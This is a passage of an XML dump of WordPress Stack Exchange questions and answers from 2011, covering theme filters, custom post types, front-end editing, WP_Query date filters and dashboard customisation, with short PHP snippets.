&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-10T13:36:59.437" CommentCount="2" />
  <row Id="25533" PostTypeId="1" AcceptedAnswerId="27505" CreationDate="2011-08-10T13:41:16.287" Score="0" ViewCount="83" Body="&lt;p&gt;I'm using the &lt;a href=&quot;http://jigoshop.com/&quot; rel=&quot;nofollow&quot;&gt;Jigoshop plugin&lt;/a&gt; (everything's going great so far!) and need to display the product SKU on a page, does anyone know how to do this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;p.s I would ask on the Jigoshop forum but you have to pay for it.&lt;/p&gt;&#xA;" OwnerUserId="4588" LastActivityDate="2011-09-01T21:35:02.930" Title="Display product SKU on page with Jigoshop" Tags="&lt;e-commerce&gt;" AnswerCount="2" CommentCount="1" />
  <row Id="25534" PostTypeId="2" ParentId="25521" CreationDate="2011-08-10T13:41:55.693" Score="1" ViewCount="" Body="&lt;p&gt;Your best bet is to use the &lt;code&gt;the_content&lt;/code&gt; filter hook and add your content to the post&#xA;&quot;on the fly&quot; for ex:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('the_content','add_my_extra_content');&#xA;&#xA;function add_my_extra_content($content){&#xA;   $my_extra = &quot;&amp;lt;h5&amp;gt;this is the extra content&amp;lt;/h5&amp;gt;';&#xA;&#xA;   //add before post content&#xA;   // return $my_extra.$content;&#xA;&#xA;   //add after post content&#xA;   return $content.$my_extra.;&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-10T13:41:55.693" />
  <row Id="25535" PostTypeId="2" ParentId="25519" CreationDate="2011-08-10T13:46:50.750" Score="0" ViewCount="" Body="&lt;p&gt;This code should be conditional first and then form output since you can't use wp_redirect after headers are set and you are updating so use &lt;code&gt;update_post_meta&lt;/code&gt; instead of &lt;code&gt;add_post_meta&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    if( 'POST' == $_SERVER['REQUEST_METHOD'] &amp;amp;&amp;amp; !empty( $_POST['action'] ) &amp;amp;&amp;amp;  $_POST['action'] == &quot;edit_post&quot; &amp;amp;&amp;amp; isset($_POST['pid'])) {&#xA;    $the_post = get_post($_POST['pid']); &#xA;&#xA;&#xA;    $the_post = array(); &#xA;    $the_post['post_content'] = $_POST['description'];&#xA;    $the_post['data'] = array($_POST['data']);&#xA;&#xA;    $pid = wp_update_post($the_post); &#xA;    update_post_meta($pid, 'rating', $the_post['data'], true);&#xA;&#xA;    $link = get_permalink( $pid );&#xA;    wp_redirect($link);&#xA;}&#xA;&#xA;&amp;lt;!-- edit Post Form --&amp;gt;&#xA;    &amp;lt;div id=&quot;postbox&quot;&amp;gt;&#xA;        &amp;lt;form id=&quot;edit_post&quot; name=&quot;edit_post&quot; method=&quot;post&quot; action=&quot;&quot;&amp;gt;&#xA;        &amp;lt;p&amp;gt;&amp;lt;label for=&quot;description&quot;&amp;gt;Description&amp;lt;/label&amp;gt;&amp;lt;br /&amp;gt;&#xA;            &amp;lt;textarea id=&quot;description&quot; name=&quot;description&quot; &amp;gt;&amp;lt;?php echo $post_to_edit-&amp;gt;post_content; ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;        &amp;lt;/p&amp;gt;&#xA;        &amp;lt;!-- wine Rating --&amp;gt;&#xA;        &amp;lt;fieldset class=&quot;data&quot;&amp;gt;&#xA;                  &amp;lt;label for=&quot;data&quot;&amp;gt;data&amp;lt;/label&amp;gt;&#xA;                  &amp;lt;input type=&quot;text&quot; value=&quot;&quot; id=&quot;data&quot; size=&quot;60&quot; tabindex=&quot;20&quot; name=&quot;data&quot;&amp;gt;&amp;lt;?php echo (!empty($val = get_post_meta($post_to_edit-&amp;gt;ID,'rating',true))) ? $val : ''; ?&amp;gt;&amp;lt;/textarea&amp;gt;&#xA;        &amp;lt;/fieldset&amp;gt;&#xA;&#xA;        &amp;lt;p align=&quot;right&quot;&amp;gt;&amp;lt;input type=&quot;submit&quot; value=&quot;Edit&quot; tabindex=&quot;6&quot; id=&quot;submit&quot; name=&quot;submit&quot; /&amp;gt;&amp;lt;/p&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;action&quot; value=&quot;edit_post&quot; /&amp;gt;&#xA;        &amp;lt;input type=&quot;hidden&quot; name=&quot;pid&quot; value=&quot;&amp;lt;?php echo $post_to_edit-&amp;gt;ID; ?&amp;gt;&quot; /&amp;gt;&#xA;        &amp;lt;?php wp_nonce_field( 'edit-post' ); ?&amp;gt;&#xA;        &amp;lt;/form&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastEditorUserId="2487" LastEditorDisplayName="" LastEditDate="2011-08-11T16:37:19.260" LastActivityDate="2011-08-11T16:37:19.260" CommentCount="5" />
  <row Id="25536" PostTypeId="1" AcceptedAnswerId="25540" CreationDate="2011-08-10T13:57:10.213" Score="0" ViewCount="42" Body="&lt;p&gt;I want to show products like an eCommerce store with product categories and detail pages, but I have no need for a shopping cart or checkout system. This is just to display the products for informational purposes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have used custom post types on another project and that worked out fine, but I am wondering if anyone knows of a plugin that would make this fast and easy to customize. Also an import/export feature would be nice for adding lots of products.&lt;/p&gt;&#xA;" OwnerUserId="7318" LastActivityDate="2011-08-10T15:18:09.140" Title="How to approach displaying products with no shopping cart plugin or post type?" Tags="&lt;plugins&gt;" AnswerCount="2" />
  <row Id="25537" PostTypeId="2" ParentId="24222" CreationDate="2011-08-10T14:05:04.003" Score="0" ViewCount="" Body="&lt;p&gt;What about the &quot;syndication_permalink&quot;? This is automatically pulled from the feed by FeedWordpress. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then put something like &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (is_syndicated()) : ?&amp;gt;&#xA;     &amp;lt;p&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_syndication_permalink(); ?&amp;gt;&quot; target=&quot;_blank&quot;&amp;gt;Source&amp;lt;/a&amp;gt;&amp;lt;/p&amp;gt;&#xA;  &amp;lt;?php endif; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;in your single post loop.&lt;/p&gt;&#xA;" OwnerUserId="7792" LastActivityDate="2011-08-10T14:05:04.003" />
  <row Id="25538" PostTypeId="1" CreationDate="2011-08-10T14:07:26.993" Score="0" ViewCount="27" Body="&lt;p&gt;I'm using the following code to fetch and display posts which works ok, however rather than displaying all the posts in title order it shows the title order in two separate blocks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've noticed the split in ordering the posts is the same as the split in pages in the wp-admin area.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any idea what would cause this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Code I am using:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;?php while ($recentPosts-&amp;gt;have_posts()) : $recentPosts-&amp;gt;the_post(); ?&amp;gt;&#xA;                        &amp;lt;li&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; class=&quot;partnerTitle&quot; title=&quot;link to partner page for &amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_post_thumbnail( 'partner-thumbnail' ); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; class=&quot;partnerTitle&quot; title=&quot;link to partner page for &amp;lt;?php the_title(); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php the_title(); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/li&amp;gt;&#xA;                    &amp;lt;?php endwhile; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="7002" LastEditorUserId="7002" LastEditorDisplayName="" LastEditDate="2011-08-10T15:22:31.757" LastActivityDate="2011-08-10T15:22:31.757" Title="Orderby orders posts, but in two blocks?" Tags="&lt;wp-query&gt;" CommentCount="11" />
  <row Id="25539" PostTypeId="1" CreationDate="2011-08-10T14:28:33.247" Score="0" ViewCount="14" Body="&lt;p&gt;I have a self hosted Wordpress site (latest update as of time of posting) that I am using to host a podcast that I am starting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In order to minimise any future hassles should I have to change hosting for any reason, I chose to run the feeds though Feedburner, and get people to subscribe to those also.  That way, I can move and repoint if required in the future.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I installed a plugin (FD Feedburner) that redirects to my feed burner URL, but I have found that this only works for &lt;a href=&quot;http://etc.com/feed&quot; rel=&quot;nofollow&quot;&gt;http://etc.com/feed&lt;/a&gt; URLS.  When for example Safari detects the feed, if a user clicks the RSS button in Safari rather than one of my links, it opens the Wordpress original feed via feed://etc.com/feed. - Obviously this still works, but it splits my subscribers into 2 pools that makes tracking difficult.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is considered best practice for this sort of thing, is there any way to edit the built in RSS feeds (remove comments Feed etc, stop Safari detecting the RSS feed) and remove the Atom feed option while I am at it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Many thanks,&#xA;Dan&lt;/p&gt;&#xA;" OwnerUserId="7793" LastActivityDate="2011-08-10T14:28:33.247" Title="RSS Feed Behaviour (Inc. Feedburner)" Tags="&lt;rss&gt;&lt;feed&gt;" CommentCount="1" />
  <row Id="25540" PostTypeId="2" ParentId="25536" CreationDate="2011-08-10T14:52:41.510" Score="0" ViewCount="" Body="&lt;p&gt;if you have no need for regular blog posts, you can just use those.  the post is probably not overly different from a custom post type for a product.  though i just did a CPT for products and added some cool features.  though since they were related to metaboxes and custom columns there's no reason you couldn't add them to posts, but in case you want to use your blog ever, i'd probably keep them as a separate CPT. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;the ecommerce plugins i've seen are usually related to setting up your shopping cart.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;where do you want to import from?  you can always import/export your posts w/ the xml built-in import/exporter&lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-08-10T14:52:41.510" CommentCount="3" />
  <row Id="25541" PostTypeId="2" ParentId="25527" CreationDate="2011-08-10T15:12:40.600" Score="1" ViewCount="" Body="&lt;p&gt;First, you shouldn't use &lt;code&gt;NOW()&lt;/code&gt; in select queries since &lt;code&gt;NOW()&lt;/code&gt; returns the current date and time to the split second. In other words: This query will never land in the cache.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And you can use the WP_Query with filter of &lt;code&gt;posts_where&lt;/code&gt; eg:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function filter_event_where( $where = '' ) {&#xA;    $date = date('Y-m-d'); &#xA;    $where .= &quot; AND posts.post_date &amp;lt; '&quot;.$date.&quot;'&quot;;&#xA;    return $where;&#xA;}&#xA;&#xA;add_filter( 'posts_where', 'filter_event_where' );&#xA;$today = date('Y/m/d', strtotime(&quot;now&quot;));&#xA;$query = new WP_Query( array(&#xA;    'meta_key' =&amp;gt; 'event_date', //used for order&#xA;    'orderby' =&amp;gt; 'meta_value', //used for order&#xA;    'post_type' =&amp;gt; 'event',&#xA;    'meta_query' =&amp;gt; array(&#xA;        array(&#xA;            'key' =&amp;gt; 'event_date',&#xA;            'value' =&amp;gt; $today,&#xA;            'compare' =&amp;gt; '&amp;gt;='&#xA;        )&#xA;    )&#xA;    ));&#xA;remove_filter( 'posts_where', 'filter_event_where' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-08-10T15:12:40.600" CommentCount="1" />
  <row Id="25542" PostTypeId="2" ParentId="25536" CreationDate="2011-08-10T15:18:09.140" Score="1" ViewCount="" Body="&lt;p&gt;I would recommend going down the custom post route, for the time it takes its totlly worth it, plus it keeps things nice and tidy in the backend.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would recomend using this plugin to add meta boxes to custom post types &lt;a href=&quot;http://plugins.elliotcondon.com/advanced-custom-fields/&quot; rel=&quot;nofollow&quot;&gt;http://plugins.elliotcondon.com/advanced-custom-fields/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You will still need to set up the custom post type, stick this in your functions.php&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//ADDING CUSTOM POST TYPE 'PRODUCT'&#xA;    function products_int(){&#xA;        $labels = array(&#xA;            'name' =&amp;gt; _x('Products, 'post type general name'),&#xA;            'singular_name' =&amp;gt; _x('Product', 'post type singular name'),&#xA;            'add_new' =&amp;gt; _x('Add New', 'Product'),&#xA;            'add_new_item' =&amp;gt; __('Add New Product'),&#xA;            'edit_item' =&amp;gt; __('Edit Product'),&#xA;            'new_item' =&amp;gt; __('New Product'),&#xA;            'view_item' =&amp;gt; __('View Product'),&#xA;            'search_items' =&amp;gt; __('Search for Products'),&#xA;            'not_found' =&amp;gt;  __('No products found'),&#xA;            'not_found_in_trash' =&amp;gt; __('No products found in Trash'),&#xA;            'parent_item_colon' =&amp;gt; ''&#xA;        );&#xA;        $args = array(&#xA;            'labels' =&amp;gt; $labels,&#xA;            'public' =&amp;gt; true,&#xA;            'publicly_queryable' =&amp;gt; true,&#xA;            'show_ui' =&amp;gt; true,&#xA;            'query_var' =&amp;gt; true,&#xA;            'rewrite' =&amp;gt; true,&#xA;            'capability_type' =&amp;gt; 'post',&#xA;            'hierarchical' =&amp;gt; false,&#xA;            'menu_position' =&amp;gt; 4,&#xA;            'supports' =&amp;gt; array('title','editor','thumbnail'),&#xA;            'taxonomies' =&amp;gt; array('category')&#xA;        );&#xA;        register_post_type('product',$args);&#xA;    }&#xA;&#xA;//CUSTOM POST TYPE&#xA;    add_action('init', 'products_int');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thats it pretty much&lt;/p&gt;&#xA;" OwnerUserId="7791" LastActivityDate="2011-08-10T15:18:09.140" CommentCount="1" />
  <row Id="25543" PostTypeId="1" CreationDate="2011-08-10T15:34:11.367" Score="0" ViewCount="11" Body="&lt;p&gt;I'm creating a shortcode that pulls in a form from AWeber (using wp_get_remote), does some  manipulation to it via DOMdocument and then prints out my modified form html.  the idea is so that the user controls the content of the form in aweber, but the theme controls the look of the form.  I was annoyed w/ all the embedded CSS aweber adds in their javascript snippet mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;SO, I'm trying to determine the best way to cache this resulting html?  The object cache?  transients api?  writing it to a local file?  I'm not sure how to do that last one and I'm also not sure how to best handle caching the file and yet still having it update when a change is made to the form in AWeber.... like it would if i were using their javascript snippet to display the form.  &lt;/p&gt;&#xA;" OwnerUserId="6477" LastActivityDate="2011-08-10T15:34:11.367" Title="Caching the DOMdocument-manipulated HTML from a wp_get_remote request" Tags="&lt;cache&gt;&lt;wp-remote-get&gt;" CommentCount="1" />
  <row Id="25544" PostTypeId="1" AcceptedAnswerId="25547" CreationDate="2011-08-10T15:37:58.880" Score="0" ViewCount="27" Body="&lt;p&gt;I created a new template page with code to allow front-end posting. Everything works great, with tags, post meta and image uploading (as featured image).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have seen many codes about front-end post editing, but even though I tried to figure it out I can not successfully make it to work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I took as example this &lt;a href=&quot;http://wordpress.stackexchange.com/questions/17400/how-can-i-edit-a-post-from-the-frontend/18781#18781&quot;&gt;How can I edit a post from the frontend?&lt;/a&gt; and placed it in single.php with no luck. I guess the right way to have it, is to have an EDIT link below the post and there will be appear a new php template that contains the edit form when it is clicked. Is this correct?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Secondly, how can I update the featured image I added from the front-end ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you for your help.&lt;/p&gt;&#xA;" OwnerUserId="4448" LastEditorUserId="4448" LastEditorDisplayName="" LastEditDate="2011-08-11T00:34:51.217" LastActivityDate="2011-08-11T00:34:51.217" Title="How to update post's featured image in front-end and question about front-end posting" Tags="&lt;front-end&gt;" AnswerCount="1" />
  <row Id="25545" PostTypeId="1" AcceptedAnswerId="25546" CreationDate="2011-08-10T15:40:10.627" Score="0" ViewCount="18" Body="&lt;p&gt;I'm trying to create sidebar in my wordpress admin. This is because I'm trying to make my wordpress admin look like my front end. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;My front end theme has sidebar in the right side. So i would like to display the same sidebar in my admin area. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know its possible by editing wordpress core files. But if i update my wordpress core in the future then all my works will be wasted. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i'm trying to find some alternate ways. Is there any wordpress admin hook available out there to edit admin body, like editing admin header(admin_head) ?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I respect and appreciate everyone's comments/answers. So please help me. &#xA;Thanks to all&lt;/p&gt;&#xA;" OwnerUserId="5074" LastActivityDate="2011-08-10T15:54:32.517" Title="Is it possible to display my theme sidebar in wordpress admin?" Tags="&lt;wp-admin&gt;&lt;sidebar&gt;" AnswerCount="1" />
  <row Id="25546" PostTypeId="2" ParentId="25545" CreationDate="2011-08-10T15:54:32.517" Score="1" ViewCount="" Body="&lt;p&gt;It's a bad idea to try to make the wp-admin area look like the front-end. It's an uphill battle.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try using my &lt;a href=&quot;http://wordpress.org/extend/plugins/front-end-editor/&quot; rel=&quot;nofollow&quot;&gt;Front-end Editor&lt;/a&gt; plugin: it allows editing widgets directly from the front-end etc.&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-08-10T15:54:32.517" />
  <row Id="25547" PostTypeId="2" ParentId="25544" CreationDate="2011-08-10T15:55:54.700" Score="0" ViewCount="" Body="&lt;p&gt;The &lt;a href=&quot;http://wordpress.org/extend/plugins/front-end-editor/&quot; rel=&quot;nofollow&quot;&gt;Front-end Editor&lt;/a&gt; plugin allows you to change post thumbnails (featured images).&lt;/p&gt;&#xA;" OwnerUserId="205" LastActivityDate="2011-08-10T15:55:54.700" CommentCount="4" />
  <row Id="25548" PostTypeId="2" ParentId="25517" CreationDate="2011-08-10T16:03:08.897" Score="0" ViewCount="" Body="&lt;p&gt;Try the following:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;input type=&quot;checkbox&quot; name=&quot;myoption[option_one]&quot; value=&quot;1&quot; &amp;lt;? checked( $options['option_one'], 1 ) ?&amp;gt; /&amp;gt;&#xA;&amp;lt;input type=&quot;checkbox&quot; name=&quot;myoption[option_two]&quot; value=&quot;1&quot; &amp;lt;? checked( $options['option_two'], 1 ) ?&amp;gt; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;James :-)&lt;/p&gt;&#xA;" OwnerUserId="7796" LastActivityDate="2011-08-10T16:03:08.897" />
  <row Id="25549" PostTypeId="1" AcceptedAnswerId="25550" CreationDate="2011-08-10T16:23:35.127" Score="0" ViewCount="19" Body="&lt;p&gt;I'm new to Wordpress and am a little confused with which Wordpress user types can access plugin functionality?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As administator I know I can activate (and deactivate) plugins. I can access their settings through the dashboard. However, this doesn't seem to be the case for the editor user. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Which plugins settings (if any) are editable for an editor?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason for me asking is because I want to manage my clients sites, but there may be some plugin settings that I will want my clients to use. I am assuming that the best way of working will be me as administrator and my clients as editors.&lt;/p&gt;&#xA;" OwnerUserId="5864" LastActivityDate="2011-08-10T16:33:12.297" Title="Plugin access and Roles" Tags="&lt;plugins&gt;&lt;roles&gt;" AnswerCount="1" />
  <row Id="25550" PostTypeId="2" ParentId="25549" CreationDate="2011-08-10T16:33:12.297" Score="1" ViewCount="" Body="&lt;p&gt;By default only super admins/administrators can edit plugin/theme settings.&#xA;&lt;a href=&quot;http://codex.wordpress.org/Roles_and_Capabilities#Capability_vs._Role_Table&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Roles_and_Capabilities#Capability_vs._Role_Table&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to give access to plugin/theme settings (or other stuff) for an editor you can add a capability to a role.&#xA;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/12984/how-can-i-allow-the-editor-role-to-change-theme-settings&quot;&gt;How can I allow the Editor Role to change Theme Settings?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-08-10T16:33:12.297" CommentCount="1" />
  <row Id="25551" PostTypeId="1" AcceptedAnswerId="25556" CreationDate="2011-08-10T17:00:30.993" Score="0" ViewCount="19" Body="&lt;p&gt;I want to add a custom link to linkedin near author name. It should be very easy if it would be only one author, but now it's not. So, I have to add something on all single.php and somewhere the real links. Can anybody help me with this? Thanks!&lt;/p&gt;&#xA;" OwnerUserId="7552" LastActivityDate="2011-08-10T18:11:35.230" Title="Want to add a custom author link to a single.php" Tags="&lt;wordpress-version&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25552" PostTypeId="1" AcceptedAnswerId="25554" CreationDate="2011-08-10T17:13:12.620" Score="0" ViewCount="24" Body="&lt;p&gt;Sorry but I get lost on Wordpress's codex.&#xA;I am trying to add a mail this page sharing link and want to include some info from the page.&#xA;In pseudo code is this possible?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&amp;lt;a href=&quot;mailto:?subject=&quot;.CURRENT_BLOG_NAME.&quot; &quot;.CURRENT_PAGE_TITLE.&quot;&amp;amp;amp;body=&quot;intro%20text%20&quot;.WP_PLUGIN_URL.$_SERVER['REQUEST_URI'].&quot;&amp;gt;Mail to a friend&amp;lt;/a&amp;gt;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where &lt;code&gt;CURRENT_BLOG_NAME&lt;/code&gt; is ???&#xA;and &lt;code&gt;CURRENT_PAGE_TITLE&lt;/code&gt; is ???&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;WP_PLUGIN_URL.$_SERVER['REQUEST_URI']&lt;/code&gt; &lt;strong&gt;does &lt;/strong&gt;get me the path to the current page.&lt;/p&gt;&#xA;" OwnerUserId="970" LastActivityDate="2011-08-10T17:36:57.147" Title="Get current page id, title, url, etc" Tags="&lt;variables&gt;&lt;global&gt;" AnswerCount="2" />
  <row Id="25553" PostTypeId="2" ParentId="25552" CreationDate="2011-08-10T17:19:42.827" Score="0" ViewCount="" Body="&lt;p&gt;There's the &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/wp_mail&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;wp_mail($to, $subject, $message, $headers, $attachments);&lt;/code&gt;&lt;/a&gt; function for such things.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore there's a function called &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_permalink&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_permalink();&lt;/code&gt;&lt;/a&gt;. And another one called &lt;a href=&quot;http://codex.wordpress.org/Function_Reference/get_the_title&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;get_the_title();&lt;/code&gt;&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can combine them in a function:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wpse25552_mail_permalink()&#xA;{&#xA;    global $post;&#xA;    $post_id = $post-&amp;gt;ID;&#xA;&#xA;    $title = get_the_title( $post_id );&#xA;    $subject = sprintf( __('I want to share %1$s with you', YOUR_TEXTDOMAIN ), $title );&#xA;&#xA;    $permalink = get_permalink( $post_id );&#xA;    $message = sprintf( __('Yo! Look what I've found here: %1$s', YOUR_TEXTDOMAIN), $permalink );&#xA;&#xA;    // ... stuff for $to, $subject, etc.&#xA;&#xA;    wp_mail($to, $subject, $message, $headers, $attachments);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;Note, that you have to replace &lt;code&gt;YOUR_TEXTDOMAIN&lt;/code&gt; with your themes textdomain string. Else you can leave it out (don't forget to delete the comma too).&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-08-10T17:27:39.103" LastActivityDate="2011-08-10T17:27:39.103" />
  <row Id="25554" PostTypeId="2" ParentId="25552" CreationDate="2011-08-10T17:36:57.147" Score="1" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$link = 'mailto:?subject='. get_bloginfo() .' '. the_title_attribute(array('echo'=&amp;gt;0));&#xA;$link .= '&amp;amp;amp;body=some text '. get_permalink();&#xA;?&amp;gt;&#xA;&amp;lt;a href=&quot;&amp;lt;?php echo $link ?&amp;gt;&quot;&amp;gt;mail to a friend&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="4771" LastActivityDate="2011-08-10T17:36:57.147" CommentCount="1" />
  <row Id="25555" PostTypeId="1" AcceptedAnswerId="25595" CreationDate="2011-08-10T17:55:45.190" Score="0" ViewCount="43" Body="&lt;p&gt;Just put up a new WP 3.2.1 install running twenty eleven, with one post &quot;coming soon&quot;. I haven't yet begun developing the site. At my place of business, it is currently blocked by WebSense as &quot;potentially damaging content&quot;, yet I was able to access the site yesterday.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Does it appear as if my site is hacked or has spam links, or does the web filter just not like my newfound sense of freedom? :)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The site is &lt;a href=&quot;http://www.traveling9to5.com/&quot; rel=&quot;nofollow&quot;&gt;here&lt;/a&gt;, I can't currently check into it due to the whole web filter issue. It does look fine on my iPhone, but I can't view source.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Theme&lt;/strong&gt;: Twenty Eleven (no modifications)&lt;br&gt;&#xA;&lt;strong&gt;Plugins&lt;/strong&gt;: Remove Double Space&lt;/p&gt;&#xA;" OwnerUserId="300" LastActivityDate="2011-08-11T01:20:33.523" Title="Site blocked by WebSense on fresh WP Install " Tags="&lt;install&gt;&lt;theme-twenty-eleven&gt;&lt;hacked&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="25556" PostTypeId="2" ParentId="25551" CreationDate="2011-08-10T18:11:35.230" Score="0" ViewCount="" Body="&lt;p&gt;Have a look at &lt;a href=&quot;http://justintadlock.com/archives/2009/09/10/adding-and-using-custom-user-profile-fields&quot; rel=&quot;nofollow&quot;&gt;this tutorial&lt;/a&gt;. It will teach you how to add a linkedin box to a user's profile and how to display that in a post.&lt;/p&gt;&#xA;" OwnerUserId="7772" LastActivityDate="2011-08-10T18:11:35.230" CommentCount="1" />
  <row Id="25557" PostTypeId="1" AcceptedAnswerId="25571" CreationDate="2011-08-10T18:18:48.470" Score="0" ViewCount="12" Body="&lt;p&gt;I have a series of paypal buttons on a web page that I am trying to migrate from another site onto Wordpress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I copy the html and paste it into the (HTML TAB) of the wordpress editor, I can see the buttons. But when I press save the code disappears...&lt;/p&gt;&#xA;" OwnerUserId="2417" LastActivityDate="2011-08-10T20:17:30.767" Title="Paypal buttons disappear in the text editor" Tags="&lt;paypal&gt;" AnswerCount="1" />
  <row Id="25558" PostTypeId="1" CreationDate="2011-08-10T18:22:35.903" Score="-1" ViewCount="24" Body="&lt;p&gt;using the wp-property plugin which creates a custom post type called listings.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if there is a content slider plugin that is functional with custom post types?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;thanks.&lt;/p&gt;&#xA;" OwnerUserId="4902" LastEditorUserId="3094" LastEditorDisplayName="" LastEditDate="2011-08-10T18:38:23.543" LastActivityDate="2011-08-10T18:38:23.543" Title="Content Slider using first image attached to custom post type?" Tags="&lt;plugins&gt;&lt;custom-post-types&gt;&lt;plugin-recommendation&gt;" />
  <row Id="25560" PostTypeId="1" AcceptedAnswerId="25592" CreationDate="2011-08-10T18:36:55.970" Score="0" ViewCount="39" Body="&lt;p&gt;I have created some content using php, js and html which shows the bandwidth the site has used (using the cPanel API and the Google Graphs API)&#xA;I want this to be shown on the dashboard in Wordpress (viewable to Admins and Editors only)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I do this?&lt;/p&gt;&#xA;" OwnerUserId="5864" LastActivityDate="2011-08-11T03:47:41.303" Title="How do I add content to the dashboard in Wordpress?" Tags="&lt;plugins&gt;&lt;dashboard&gt;" AnswerCount="2" CommentCount="2" />
  <row Id="25561" PostTypeId="1" AcceptedAnswerId="25567" CreationDate="2011-08-10T18:54:51.540" Score="1" ViewCount="21" Body="&lt;p&gt;Is it possible to change the Wordpress logo and header in the Dashboard so I can customise it a little more to my business? Ideally it could be done in a way so that it wouldn't break every time I upgrade Wordpress to the latest version.&lt;/p&gt;&#xA;" OwnerUserId="5864" LastActivityDate="2011-08-10T19:50:56.363" Title="Can I add/replace the Wordpress image in the Dashboard" Tags="&lt;customization&gt;&lt;dashboard&gt;" AnswerCount="2" />
